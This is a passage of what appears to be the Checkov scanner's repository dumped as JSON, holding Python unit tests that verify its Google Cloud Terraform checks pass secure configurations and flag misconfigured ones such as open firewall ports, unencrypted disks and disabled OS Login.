\"/example_GoogleComputeBootDiskEncryption/bad.json\"\n        report = runner.run(files=[test_files_path], runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        failing_resources = {\n            \"google_compute_instance.bad3\",\n        }\n\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 0)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeDefaultServiceAccount.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GoogleComputeDefaultServiceAccount import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleComputeDefaultServiceAccount(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_GoogleComputeDefaultServiceAccount\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_compute_instance.pass1',\n            'google_compute_instance.pass2',\n            'google_compute_instance_template.pass3',\n            'google_compute_instance_from_template.pass4'\n        }\n        failing_resources = {\n            'google_compute_instance.fail2',\n            'google_compute_instance_from_template.fail3'\n        }\n        # unknown_resources = {\n        #     'google_compute_instance_from_template.unknown1',\n        #     'google_compute_instance.unknown2'\n        # }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeDefaultServiceAccountFullAccess.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GoogleComputeDefaultServiceAccountFullAccess import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.plan_runner import Runner as PlanRunner\n\n\nclass TestGoogleComputeBootDiskEncryption(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_GoogleComputeDefaultServiceAccountFullAccess\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_compute_instance.pass1',\n            'google_compute_instance.pass2',\n            'google_compute_instance.broken',\n        }\n        failing_resources = {\n            'google_compute_instance.fail1',\n            'google_compute_instance.fail2',\n            'google_compute_instance_template.fail3',\n            'google_compute_instance_from_template.fail4',\n            'google_compute_instance.fail5',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 5)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n    def test_terraform_plan(self):\n        runner = PlanRunner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_path = current_dir + \"/example_GoogleComputeDefaultServiceAccountFullAccess/bad.json\"\n        report = runner.run(files=[test_files_path], runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        failing_resources = {\n            \"google_compute_instance.bad3\",\n        }\n\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 0)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeDiskEncryption.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.gcp.GoogleComputeDiskEncryption import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGoogleComputeDiskEncryption(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_disk\" \"default\" {\n              name  = \"test-disk\"\n              type  = \"pd-ssd\"\n              zone  = \"us-central1-a\"\n              image = \"debian-8-jessie-v20170523\"\n              physical_block_size_bytes = 4096\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_disk']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_disk\" \"default\" {\n              name  = \"test-disk\"\n              type  = \"pd-ssd\"\n              zone  = \"us-central1-a\"\n              image = \"debian-8-jessie-v20170523\"\n              physical_block_size_bytes = 4096\n              disk_encryption_key {\n                raw_key = \"acXTX3rxrKAFTF0tYVLvydU1riRZTvUNC4g5I11NY-c=\"  # checkov:skip=CKV_SECRET_6 test secret\n                }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_disk']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeExternalIP.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GoogleComputeExternalIP import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleComputeExternalIP(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_GoogleComputeExternalIP\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_compute_instance.pass',\n            'google_compute_instance_template.pass'\n        }\n        failing_resources = {\n            'google_compute_instance.fail',\n            'google_compute_instance_template.fail',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeFirewallUnrestrictedIngress20.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleComputeFirewallUnrestrictedIngress20 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleComputeFirewallUnrestrictedIngress20(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleComputeFirewallUnrestrictedIngress20\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_compute_firewall.restricted\",\n            \"google_compute_firewall.allow_null\",\n            \"google_compute_firewall.allow_different_int\",\n        }\n\n        failing_resources = {\n            \"google_compute_firewall.allow_multiple\",\n            \"google_compute_firewall.allow_ftp_int\",\n            \"google_compute_firewall.allow_all\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 7)  # 1 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeFirewallUnrestrictedIngress21.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleComputeFirewallUnrestrictedIngress21 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleComputeFirewallUnrestrictedIngress21(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleComputeFirewallUnrestrictedIngress21\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_compute_firewall.restricted\",\n            \"google_compute_firewall.allow_null\",\n            \"google_compute_firewall.allow_different_int\",\n        }\n\n        failing_resources = {\n            \"google_compute_firewall.allow_multiple\",\n            \"google_compute_firewall.allow_ftp_int\",\n            \"google_compute_firewall.allow_all\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 7)  # 1 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeFirewallUnrestrictedIngress22.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleComputeFirewallUnrestrictedIngress22 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleComputeFirewallUnrestrictedIngress22(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleComputeFirewallUnrestrictedIngress22\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_compute_firewall.restricted\",\n            \"google_compute_firewall.allow_null\",\n            \"google_compute_firewall.allow_different_int\",\n            \"google_compute_firewall.firewall_demo[\\\"firewall-02\\\"]\",\n            \"google_compute_firewall.firewall_demo[\\\"firewall-04\\\"]\",\n            \"google_compute_firewall.firewall_demo[\\\"firewall-05\\\"]\",\n            \"google_compute_firewall.firewall_demo[\\\"firewall-06\\\"]\",\n        }\n\n        failing_resources = {\n            \"google_compute_firewall.allow_multiple\",\n            \"google_compute_firewall.allow_ssh_int\",\n            \"google_compute_firewall.allow_all\",\n            \"google_compute_firewall.firewall_demo[\\\"firewall-01\\\"]\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passed_check_resources))\n        self.assertEqual(summary[\"failed\"], len(failed_check_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 12)  # 1 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeFirewallUnrestrictedIngress3306.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleComputeFirewallUnrestrictedIngress3306 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleComputeFirewallUnrestrictedIngress3306(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleComputeFirewallUnrestrictedIngress3306\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_compute_firewall.restricted\",\n            \"google_compute_firewall.allow_different_int\",\n            \"google_compute_firewall.allow_null\",\n        }\n\n        failing_resources = {\n            \"google_compute_firewall.allow_multiple\",\n            \"google_compute_firewall.allow_mysql_int\",\n            \"google_compute_firewall.allow_all\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 7)  # 1 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeFirewallUnrestrictedIngress3389.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.gcp.GoogleComputeFirewallUnrestrictedIngress3389 import check, PORT\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGoogleComputeFirewallUnrestrictedIngress3389(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'name': ['${var.name}-${var.region}-mesos-ssh'],\n                         'network': ['${google_compute_network.mesos-global-net.name}'],\n                         'allow': [{'protocol': ['tcp'], 'ports': [[str(PORT)]]}], 'target_tags': [['ssh']],\n                         'source_ranges': [['0.0.0.0/0']]}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_1(self):\n        resource_conf = {'name': ['${var.name}-${var.region}-mesos-ssh'],\n                         'network': ['${google_compute_network.mesos-global-net.name}'],\n                         'allow': [{'protocol': ['tcp'], 'ports': [[\n                             str(PORT)]]}], 'target_tags': [['ssh']], 'source_ranges': [['172.1.2.3/32']]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"google_compute_firewall\" \"no-allow-blocks\" {\n                      name        = \"deny-all-egress-all\"\n                      description = \"Prevent all egress traffic by default\"\n                      disabled = true\n                    \n                      network        = google_compute_network.vpc_network.name\n                      enable_logging = true\n                    \n                      priority           = 65534\n                      direction          = \"EGRESS\"\n                      destination_ranges = [\"0.0.0.0/0\"]\n                      deny { protocol = \"all\" }\n                    }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_firewall']['no-allow-blocks']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeFirewallUnrestrictedIngress80.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleComputeFirewallUnrestrictedIngress80 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleComputeFirewallUnrestrictedIngress22(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleComputeFirewallUnrestrictedIngress80\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_compute_firewall.restricted\",\n            \"google_compute_firewall.allow_null\",\n            \"google_compute_firewall.allow_different_int\",\n        }\n\n        failing_resources = {\n            \"google_compute_firewall.allow_multiple\",\n            \"google_compute_firewall.allow_http_int\",\n            \"google_compute_firewall.allow_all\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 7)  # 1 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeIPForward.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.gcp.GoogleComputeIPForward import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGoogleComputeIPForward(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              can_ip_forward = true\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_template\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              can_ip_forward = true\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_from_template\" \"default\" {\n              name         = \"test\"\n              source_instance_template = google_compute_instance_template.default.id\n              can_ip_forward = true\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_from_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance\" \"default\" {\n              name         = \"gke-test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              can_ip_forward = true\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_3(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_template\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              boot_disk {}\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_4(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_from_template\" \"default\" {\n              name         = \"test\"\n              source_instance_template = google_compute_instance_template.default.id\n              can_ip_forward = false\n\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_from_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_unknown(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_from_template\" \"default\" {\n              name         = \"test\"\n              source_instance_template = google_compute_instance_template.default.id\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_from_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.UNKNOWN, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeInstanceOSLogin.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.gcp.GoogleComputeInstanceOSLogin import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGoogleComputeInstanceOSLogin(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              boot_disk {}\n              metadata = {\n                 enable-oslogin = false\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_template\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              metadata = {\n                 enable-oslogin = false\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_from_template\" \"default\" {\n              name         = \"test\"\n              source_instance_template = google_compute_instance_template.default.id\n              metadata = {\n                 enable-oslogin = false\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_from_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              boot_disk {}\n              metadata = {\n                 foo = \"bar\"\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              boot_disk {}\n              metadata = {\n                 enable-oslogin = true\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_3(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_template\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              boot_disk {}\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_unknown_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_from_template\" \"default\" {\n              name         = \"test\"\n              source_instance_template = google_compute_instance_template.default.id\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_from_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.UNKNOWN, scan_result)\n\n    def test_unknown_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_from_template\" \"default\" {\n              name         = \"test\"\n              source_instance_template = google_compute_instance_template.default.id\n              metadata = {\n                 foo = \"bar\"\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_from_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.UNKNOWN, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeProjectOSLogin.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleComputeProjectOSLogin import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleComputeProjectOSLogin(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleComputeProjectOSLogin\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_compute_project_metadata.pass\",\n        }\n\n        failing_resources = {\n            \"google_compute_project_metadata.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeSSLPolicy.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.gcp.GoogleComputeSSLPolicy import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGoogleComputeSSLPolicy(unittest.TestCase):\n\n    def test_failure_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"google_compute_ssl_policy\" \"modern-profile\" {\n                  name            = \"nonprod-ssl-policy\"\n                  profile         = \"MODERN\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_ssl_policy']['modern-profile']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n                        resource \"google_compute_ssl_policy\" \"custom-profile\" {\n                          name            = \"custom-ssl-policy\"\n                          min_tls_version = \"TLS_1_2\"\n                          profile         = \"CUSTOM\"\n                          custom_features = [\"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384\", \"TLS_RSA_WITH_AES_256_GCM_SHA384\"]\n                        }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_ssl_policy']['custom-profile']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n                        resource \"google_compute_ssl_policy\" \"modern-profile\" {\n                          name            = \"nonprod-ssl-policy\"\n                          profile         = \"MODERN\"\n                          min_tls_version = \"TLS_1_2\"\n                        }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_ssl_policy']['modern-profile']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n                        resource \"google_compute_ssl_policy\" \"custom-profile\" {\n                          name            = \"custom-ssl-policy\"\n                          min_tls_version = \"TLS_1_2\"\n                          profile         = \"CUSTOM\"\n                          custom_features = [\"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384\", \"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\"]\n                        }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_ssl_policy']['custom-profile']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeSerialPorts.py",
